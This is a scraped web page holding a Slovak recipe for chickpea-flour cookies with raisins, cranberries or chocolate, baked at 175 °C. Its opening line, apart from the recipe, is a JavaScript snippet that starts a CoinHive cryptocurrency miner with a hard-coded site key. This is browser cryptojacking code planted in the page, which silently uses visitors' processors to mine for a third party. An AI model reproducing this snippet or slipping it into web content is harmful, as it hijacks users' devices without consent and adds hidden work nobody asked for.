var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme (na 14ks): 1,5 hrnčeka cícerovej múky, štipka morskej soli, 1 ČL prášku do pečiva, 5-6 PL kokosového oleja (odmerajte po roztopení), 5-6 PL agáve/medu/javorového sirupu, štipka stévie v prášku (voliteľné – môžete tiež znížiť množstvo tekutého sladidla), 1 ČL vanilkového extraktu, 2-4 ČL vody (v prípade potreby), hrozienka/brusnice/tmavá čokoláda

Postup: V miske spolu zmiešajte najprv suché ingrediencie a potom k nim primiešajte všetky ostatné. Cesto má byť veľmi husté, avšak ak sa vám nedarí ho premiešať poriadne, pomôžte si pridaním niekoľkých lyžičiek vody. Hotové cesto formujeme do tvaru cookies a ukladajte na plech vystlatý papierom na pečenie. Cookies zvrchu stlačíme prstami, aby boli tenšie. Pečieme ich cca 15 minút na 175˚C do zlatista. Po vybratí ich ihneď zvrchu potlačíme vidličkou – tým nadobudnú neodolateľné chrumkavé okraje a jemné vnútro.